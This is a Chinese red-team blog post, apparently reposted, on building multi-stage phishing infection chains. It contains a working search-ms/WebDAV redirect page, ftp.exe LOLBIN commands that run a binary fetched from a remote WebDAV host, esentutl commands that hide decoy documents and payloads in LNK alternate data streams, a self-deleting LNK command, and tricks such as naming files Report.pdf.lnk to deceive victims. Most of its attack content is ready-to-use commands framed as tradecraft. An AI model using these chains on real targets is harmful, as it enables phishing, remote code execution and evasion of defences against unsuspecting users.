红队攻防-多阶段感染链

admin 2026-03-27 14:09:54 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文讨论红队多阶段感染链技术,将感染链分解为投递、容器、触发器三组件,介绍通过HTML走私、search-ms协议配合WebDav投递ISO或ZIP容器,利用Lnk、CHM、MSI等作为触发器执行命令。阐述使用ftp.exe等LOLBINS工具和esentutl操作备用数据流(ADS)隐藏载荷的技术实现,包括将诱饵文档和恶意程序绑定到Lnk文件的备用数据流中,通过WinRAR压缩保存数据流,实现隐蔽执行并展示正常文档以欺骗受害者。 综合评分: 74 文章分类: 红队,渗透测试,恶意软件,实战经验,WEB安全


cover_image

红队攻防-多阶段感染链

kernel kernel

Relay学安全

2026年3月24日 22:50 陕西

免责声明

本文所有内容仅供网络安全学习与研究之用,旨在提升安全意识、探讨防御技术。读者必须承诺并保证仅将所述知识用于合法、授权的环境。

严禁任何个人或组织将本文提及的任何技术、方法或工具用于任何非法入侵、破坏、窃取数据等恶意活动。由此产生的任何直接或间接法律责任及后果均由行为人自行承担,与本文作者及发布平台无关。

作者力求内容准确,但技术发展迅速,本文不提供任何明示或暗示的担保。读者应在模拟环境或已获得明确授权的目标中进行实践。

互联网上有很多分析恶意APT团队去做的一些攻击思路,它们首先会将目标诱导到一个登录页面,然后通过HTML走私的方式释放出一个Zip压缩包文件,然后在Zip压缩包文件中存在着一个Lnk快捷方式文件,接着通过Lnk快捷方式执行并拉取一个VBS脚本,最后由VBS运行Powershell命令,诸如此类的思路。

这就是我们所说的复杂感染链,本质上就是把多个文件串联起来,组成一个完整的链路。

首先每一个感染链都由三个特定的组件构成。

  1. 投递: 怎么投递你的恶意文件或压缩包,比如HTML走私?直接加上微信发给对方?等等….
  2. 容器: 你要投递的恶意文件用什么容器来包裹?比如ZIP,ISO,PDF,VHD?
  3. 触发器: 在容器中会有很多文件,其中会有一个文件作为触发器,比如Lnk文件,它负责在系统中执行命令,而这条命令将真正的入侵系统并破坏资产。同时在触发器旁边会有一个诱饵文档,用来向受害者确保一切如预期般的正常,比如说受害者打开一个图标为PDF的Lnk恶意文件,该Lnk文件在执行完恶意命令后,会真正的打开一个正常的PDF文档。

比如说在Zip这种容器中,我们可以将其他文件都隐藏起来,只留下一个Lnk文件,诱导受害者打开。

一个简单的案例是: 邮件里面有一个HTML走私的链接,引诱受害者访问HTML走私页面,然后释放ISO镜像文件,该ISO容器中包含一个Lnk文件和一个DLL文件,然后通过Lnk文件直接通过Rundll32去执行该DLL的导出函数。

这就是我们所说的复杂链感染,所以首先是钓鱼邮件或HTML走私或直接发送给对方,接着然后交付ISO或Zip容器文件,然后就是触发器,这个触发器可以是Lnk,也可以是可执行文件。

首先是如何投递文件,我们可以利用HTML走私或SVG走私的方式来进行投递容器。如果你的环境允许你也可以使用邮件的附件进行投递。

当然我觉得最简单的方式就是获取对方的信任,只要获取到了对方的信任,无论你如何投递都是没什么问题的。

这里介绍一种通过协议处理程序配合WebDav的投递方式。他的工作原理如下:

首先诱导受害者访问一个网站,该网站会将用户重定向到一段特定的JS代码中,这段JS代码会动态构建或使用一个特定的URL,并将其赋值给Location对象,从而触发浏览器的重定向。

这种重定向的目标方案是search-ms,由于这是Windows默认注册的处理程序,他会调用Search-MS子系统,随后作为Windows搜索服务的Search-Ms会弹出一个资源管理器窗口。

如下POC:

<html><head>&nbsp; &nbsp;&nbsp;<title>search-ms</title>&nbsp; &nbsp;&nbsp;<script>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;window.location.href&nbsp;=&nbsp;'search-ms:query=sfe_wscreg&crumb=location:\\\\127.0.0.1\\DavWWWRoot&displayname=relaysec';&nbsp; &nbsp;&nbsp;</script></head><body><center>        relaysec</center></body></html>

我们来解释这一下这块Javascript代码。

这里的query参数决定了只显示匹配到该关键字的文件,也就是说假如我们的webdav服务器上存在3个文件,一个白程序,一个黑DLL以及一个Shellcode,白程序的名称为: sfe_wscreg.exe,而这里设置querysfe_wscreg,这意味着只会显示白程序这一个文件,当然这里为了演示所以显示的可执行程序,你可以显示一个图标为PDF的Lnk文件来诱导目标去点击。

这里的Location参数指向的是远程服务器WebDav的路径,这里因为是本地通过Python的库搭建的,所以这里为127.0.0.1,在实战的情况下,一般我们会设置一个域名。

这里的displayname参数的值会显示在资源管理器窗口标题栏以及导航栏中。

现在我们将该HTML文件挂载在CloudFlare中。当打开时,这里将提示你是否打开Windows资源管理器。

当我们点击打开Windows资源管理器后将匹配到我们query参数所设置的文件,那么这里你可以将其设置为PDF或Lnk文件会更好。

所以现在有很多通过这种方式来进行投递。

关于容器我们可以使用Zip,ISO来进行包含隐藏文件。

现在我们主要依靠与LnkCHM帮助文档来在系统中执行命令,有时我们还会考虑将ClickOnce或MSI作为触发器。

关于有效载荷的话,比如我们可以包含一个合法签名的白程序,以及黑DLL文件,利用DLL测加载的方式去加载这个DLL文件,我们可以通过Lnk去执行那个白程序,执行之后紧接着打开一个正常的PDF文件。

此外还有.cpl控制面板文件,它也可以作为触发器,还有VBA项目文件等等。

还有类似于MSI的文件,比如我们首先在正常的MSI文件植入后门等等。

这里我们使用ftp.exe来做一个测试。比如说我们要通过ftp.exe来执行命令,当然这种方式是通过LOLBINS网站中找到的。

该命令的原理是首先将!cmd /c c:\windows\system32\calc.exe这条命令写入到文件中,然后通过ftp.exe-s参数来去执行。

echo&nbsp;!cmd /c c:\windows\system32\calc.exe > ftpcommands.txt && ftp -s:ftpcommands.txt

这里我们尝试去执行一下。

写入的文件:

那么现在我们要对其进行变种操作了,我们需要让其可以执行我们的白程序,而且我们需要投递的文件只能是一个Lnk文件。

那么我们首先需要解决的是要通过ftp去执行我们的白程序。

echo&nbsp;!C:\Windows\System32\conhost.exe --headless conhost conhost conhost \\127.0.0.1\DavWWWRoot\webdav\sfe_wscreg.exe > ftpcommands.txt && ftp -s:ftpcommands.txt

例如这条命令,我们通过conhost来去执行挂载在WebDav服务下的sfe_wscreg.exe。可以看到成功执行。

进程链如下:

我们再次转变一下思路,既然白程序可以挂载在WebDav下,那么这是不是意味着,ftpcommands.txt也可以挂载在WebDav下呢?

我们在Webdav目录下创建该文件,并写入:

!C:\Windows\System32\conhost.exe&nbsp;--headless conhost conhost conhost \\88.88.88.116@8011\DavWWWRoot\webdav\sfe_wscreg.exe

现在我们只需要将其Lnk指向ftp.exe,后续的命令只需要写成这样即可:

C:\Windows\System32\ftp.exe -s:\\88.88.88.116@8011\DavWWWRoot\webdav\ftpcommands.txt

那么这样也是可以调用的。

最好可以再打开一个正常的PDF文件,比如我们将其ftpcommands.txt文件写入成这样。

!C:\Windows\System32\conhost.exe --headless conhost conhost conhost \\88.88.88.116@8011\DavWWWRoot\webdav\sfe_wscreg.exe && \\88.88.88.116@8011\DavWWWRoot\webdav\test.pdf

如下图我们可以看到执行完白程序后,将打开test.pdf文件。

那么一般的话我们会将Lnk文件直接发送给受害者,所以一般这么去命名即可: Report.pdf.lnk,因为即使在系统上开启了 “显示文件扩展名” 选项,.lnk后缀依然会被隐藏掉。

接下来我们来聊另外一种感染链思路,这种感染链是通过esentutl备份数据流工具来做的。

主要参考于: https://medium.com/@pjbmalware/urelas-leveraging-alternate-data-streams-in-lnk-files-d3d514811fbc

如下链接:

https://lolbas-project.github.io/lolbas/Binaries/Esentutl/

我们主要关注于替代数据流,它可以将源文件复制到目标文件的备用数据流ADS。当然也可以将源备用数据流ADS复制到目标EXE。

主要是这两条命令:

esentutl.exe /y C:\Windows\Temp\file.exe /d C:\Windows\Temp\file.ext:file.exe /oesentutl.exe /y C:\Windows\Temp\file.ext:file.exe /d C:\Windows\Temp\file.exe /o

那么其实我们可以稍微的改改就可以了,我们可以将其真正的PDF文件复制到Lnk文件的备用数据流。

esentutl.exe /y&nbsp;"Xftp7_ko.pdf"&nbsp;/d&nbsp;"Res.pdf.lnk:file.exf"&nbsp;/o

下一步则是释放PDF文件。

esentutl.exe /y&nbsp;"Res.pdf.lnk:file.exf"&nbsp;/d&nbsp;"Xftp7_ko.pdf"&nbsp;/o

但是我们似乎可以在本地测试成功,但是如果你放到其他机器上你会发现它报错了。

这通常是因为你只把Res.pdf.lnk文件复制到其他机器上了,但是你并没有将file.exf复制过去。

所以这里我们就要需要通过WINRAR来对其Lnk文件进行压缩,需要注意的是这里似乎只有Winrar可以勾选数据流选项,其他比如7zip,BandZip似乎都不支持。

我们对其进行压缩,勾选保存数据流。

从压缩的文件中我们可以看到文件的大小明显有了变化,变得稍微有点大了,这就是因为数据流也被压缩进去了。

现在你只需要将这个压缩包发送给对方即可,当他通过Winrar解压并且运行Lnk文件时就会释放出我们正常的PDF文件。

当然你的Lnk中需要指向这条命令:

%WINDIR%\System32\esentutl.exe /y&nbsp;"Res.pdf.lnk:file.exf"&nbsp;/d&nbsp;"Xftp7_ko.pdf"&nbsp;/o

可以看到当执行命令后将成功释放该文件。我们也可以加上比如Start命令来启动该PDF文件,保证目标以为是打开的一个正常的文件。

根据上面的思路,也可以对其进行判断操作,比如说判断该文件是否已经存在,如果存在的话则直接使用Start来启动合法的PDF文件,并且删除.lnk文件,确保只留下一个PDF文件。

/c esentutl.exe /y&nbsp;"%cd%\Res.pdf.lnk:file.exf"&nbsp;/d&nbsp;"%cd%\Xftp7_ko.pdf"&nbsp;/o & IF EXIST&nbsp;"%cd%\Xftp7_ko.pdf"&nbsp;(start&nbsp;""&nbsp;"%cd%\Xftp7_ko.pdf"&nbsp;& del&nbsp;"%cd%\Res.pdf.lnk") ELSE msg *&nbsp;"Connection Error!!!"

请看如下视频:

已关注

关注

重播 分享 赞

关闭

观看更多

更多

退出全屏

切换到竖屏全屏退出全屏

Relay学安全已关注

分享视频

,时长00:20

0/0

00:00/00:20

切换到横屏模式

继续播放

[ ]

进度条,百分之0

播放

00:00

/

00:20

00:20

倍速

全屏

倍速播放中

0.5倍 0.75倍 1.0倍 1.5倍 2.0倍

超清 流畅

 您的浏览器不支持 video 标签

继续观看

红队攻防-多阶段感染链

观看更多

转载

,

红队攻防-多阶段感染链

Relay学安全已关注

分享点赞在看

已同步到看一看写下你的评论

视频详情

现在的思路是这样的,首先从一个模拟docx文件的Lnk快捷方式中释放出一个真正的docx文件,判断该文件是否存在并打开该文件,并且再去释放一个真正的Loader文件,而这个Loader文件则是去下载白程序以及黑DLL文件并执行它们。

所以这里一个文件是可以拥有多个备份数据流的,比如说,我们这里的repos.pdf.lnk文件,我们可以给该文件设置两个备份数据流,比如说让其先释放一个PDF文件,再去释放一个xls文件,这样是完全没有问题的。

esentutl.exe /y&nbsp;"Xftp7_ko.pdf"&nbsp;/d&nbsp;"Repos.pdf.lnk:file.exf"&nbsp;/o

esentutl.exe /y&nbsp;"111.xls"&nbsp;/d&nbsp;"Repos.pdf.lnk:file.ext"&nbsp;/o

现在还是老样子通过winrar来对其进行打包以及保存备份数据流,最后来释放文件。

esentutl.exe /y&nbsp;"Repos.pdf.lnk:file.ext"&nbsp;/d&nbsp;"111.xls"&nbsp;/oesentutl.exe /y&nbsp;"Repos.pdf.lnk:file.exf"&nbsp;/d&nbsp;"Xftp7_ko.pdf"&nbsp;/o

那么既然一个文件可以绑定多个备份数据流,这也就意味着,我们可以绑定比如Shellcode``Loader.

而你可以在你的Loader中写你的代码,比如说释放多个文件又或者其他?

这个自由发挥…..

内部知识库详情介绍

经过长时间的编写文档,这里建立了一个免杀学习的内部知识库。

在这里我们当脚本小子,只探究原理,能让你真正的从0到1学习免杀相关知识。

                                          等等后续继续更新…

                                          需要请加V备注知识库:


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Relay学安全 kernel kernel《红队攻防-多阶段感染链》

评论:0   参与:  0